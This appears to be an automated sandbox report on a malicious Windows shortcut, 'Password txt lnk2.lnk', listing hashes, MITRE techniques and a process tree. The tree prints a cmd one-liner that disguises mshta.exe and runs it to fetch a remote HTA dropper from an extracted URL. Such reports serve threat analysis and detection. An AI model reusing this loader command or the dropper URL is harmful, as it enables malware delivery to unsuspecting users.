57959c2be2ac6349aa37edb73cd8a88fe8d3e69678cac4b38fac401bd3141fdf

Analysis

max time kernel
90s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
01/09/2022, 11:03

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General

Target
Password txt lnk2.lnk
Size 1KB
Sample220901-m5p1faefh3
SHA256 57959c2be2ac6349aa37edb73cd8a88fe8d3e69678cac4b38fac401bd3141fdf
MD5 4cadefa553cf8775c2d879c7c0c44b98
SHA1 3c3ab091ff27be626e5bde52fffc21128cf2f2ae
SHA512 66b530afd6a5edaa0fcb00cca4ebb5817e7abc210dfc601fbc29f95ca83b1dbb8b3e77e16c8ff0281b3a704b5af27fe5c7f6d391fe13fe0248723d516e951a4f
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://doc.documentshare.info/iagodK3zBQqUKXJDg/wjJkRpsx7Q4+/VKnDzfXYTQWo=

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
6	4856	mshta.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4364 wrote to memory of 4912	4364	cmd.exe	84
PID 4364 wrote to memory of 4912	4364	cmd.exe	84
PID 4912 wrote to memory of 4856	4912	cmd.exe	85
PID 4912 wrote to memory of 4856	4912	cmd.exe	85

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Password txt lnk2.lnk"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4364
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /q /c type C:\Windows\system32\msh*.exe>C:\Users\Public\msh&ren C:\Users\Public\* *ta.exe&for %i IN (C:\Users\Public\ms*.exe) DO start /b %~ni "https://doc.documentshare.info/iagodK3zBQqUKXJDg/wjJkRpsx7Q4+/VKnDzfXYTQWo="
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4912
- - C:\windows\system32\mshta.exe
    mshta "https://doc.documentshare.info/iagodK3zBQqUKXJDg/wjJkRpsx7Q4+/VKnDzfXYTQWo="
    3⤵
    - Blocklisted process makes network request
    PID:4856

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads